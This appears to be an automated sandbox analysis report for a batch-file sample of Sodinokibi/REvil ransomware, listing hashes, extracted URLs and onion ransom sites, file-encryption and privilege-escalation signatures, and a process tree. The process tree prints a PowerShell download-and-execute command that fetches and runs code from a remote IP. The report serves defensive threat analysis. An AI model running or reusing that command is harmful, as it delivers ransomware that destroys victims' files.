Analysis
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max time kernel
106s -
max time network
107s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
22-08-2020 02:10
Static task
static1
Behavioral task
behavioral1
Sample
1c69f4f012b140cb5a8804fe58a41126.bat
Resource
win7v200722
Behavioral task
behavioral2
Sample
1c69f4f012b140cb5a8804fe58a41126.bat
Resource
win10v200722
General
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Target
1c69f4f012b140cb5a8804fe58a41126.bat
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Size
221B
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MD5
88eb700e439d918adcecb389a5bcf6b8
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SHA1
905eec03268857b86e52a8510eb71ca499d75361
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SHA256
a80c7d0195818572a4440425811e01f0f8259566df0d77c4ef7a928c64de77ce
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SHA512
6c1bbe97ea867f670d521a108db6fb0cbde85c34d10b53746b16514eaa58f8e96166e105a2d4d75bfe505af85635e4670bfbdf89f0789bfa5cebdc4bf53a4755
Malware Config
Extracted
http://185.103.242.78/pastes/1c69f4f012b140cb5a8804fe58a41126
Extracted
C:\wy9214j-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/DE4A73E969A070B8
http://decryptor.cc/DE4A73E969A070B8
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 1 4032 powershell.exe -
Modifies extensions of user files 5 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
powershell.exedescription ioc process File opened for modification \??\c:\users\admin\pictures\SetMerge.tiff powershell.exe File renamed C:\Users\Admin\Pictures\ConnectDebug.crw => \??\c:\users\admin\pictures\ConnectDebug.crw.wy9214j powershell.exe File renamed C:\Users\Admin\Pictures\SetMerge.tiff => \??\c:\users\admin\pictures\SetMerge.tiff.wy9214j powershell.exe File renamed C:\Users\Admin\Pictures\UnregisterOpen.crw => \??\c:\users\admin\pictures\UnregisterOpen.crw.wy9214j powershell.exe File renamed C:\Users\Admin\Pictures\WriteConfirm.raw => \??\c:\users\admin\pictures\WriteConfirm.raw.wy9214j powershell.exe -
Enumerates connected drives 3 TTPs
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Modifies service 2 TTPs 5 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5} vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1307s3kuj.bmp" powershell.exe -
Drops file in Program Files directory 28 IoCs
Processes:
powershell.exedescription ioc process File created \??\c:\program files (x86)\wy9214j-readme.txt powershell.exe File opened for modification \??\c:\program files\FormatExport.ppsx powershell.exe File opened for modification \??\c:\program files\ReceiveMount.dwfx powershell.exe File opened for modification \??\c:\program files\RestoreResize.htm powershell.exe File created \??\c:\program files\wy9214j-readme.txt powershell.exe File opened for modification \??\c:\program files\NewUse.aif powershell.exe File opened for modification \??\c:\program files\ResetDismount.rmi powershell.exe File opened for modification \??\c:\program files\ResizeSelect.svgz powershell.exe File opened for modification \??\c:\program files\SuspendUninstall.pcx powershell.exe File opened for modification \??\c:\program files\ExitUnprotect.au powershell.exe File opened for modification \??\c:\program files\CloseRead.raw powershell.exe File opened for modification \??\c:\program files\ConvertStep.jpeg powershell.exe File opened for modification \??\c:\program files\PushGrant.bmp powershell.exe File opened for modification \??\c:\program files\AddReceive.pot powershell.exe File opened for modification \??\c:\program files\ResumeSync.dwfx powershell.exe File opened for modification \??\c:\program files\RepairConnect.jpe powershell.exe File opened for modification \??\c:\program files\InvokeWait.vbe powershell.exe File opened for modification \??\c:\program files\SelectConnect.M2V powershell.exe File opened for modification \??\c:\program files\SelectPublish.bmp powershell.exe File opened for modification \??\c:\program files\ConnectRemove.temp powershell.exe File opened for modification \??\c:\program files\ExportUpdate.wvx powershell.exe File opened for modification \??\c:\program files\SearchResize.m4a powershell.exe File opened for modification \??\c:\program files\ExpandExport.shtml powershell.exe File opened for modification \??\c:\program files\SendLimit.ttf powershell.exe File opened for modification \??\c:\program files\SendSuspend.vsdx powershell.exe File opened for modification \??\c:\program files\ShowStart.vb powershell.exe File opened for modification \??\c:\program files\DenyTest.css powershell.exe File opened for modification \??\c:\program files\ConvertFromLock.wvx powershell.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepid process 4032 powershell.exe 4032 powershell.exe 4032 powershell.exe 4032 powershell.exe 4032 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 4032 powershell.exe Token: SeDebugPrivilege 4032 powershell.exe Token: SeTakeOwnershipPrivilege 4032 powershell.exe Token: SeBackupPrivilege 1736 vssvc.exe Token: SeRestorePrivilege 1736 vssvc.exe Token: SeAuditPrivilege 1736 vssvc.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 3980 wrote to memory of 4032 3980 cmd.exe powershell.exe PID 3980 wrote to memory of 4032 3980 cmd.exe powershell.exe PID 3980 wrote to memory of 4032 3980 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1c69f4f012b140cb5a8804fe58a41126.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3980 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/1c69f4f012b140cb5a8804fe58a41126');Invoke-QVZIJBUKUSJYIH;Start-Sleep -s 10000"2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4032
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1736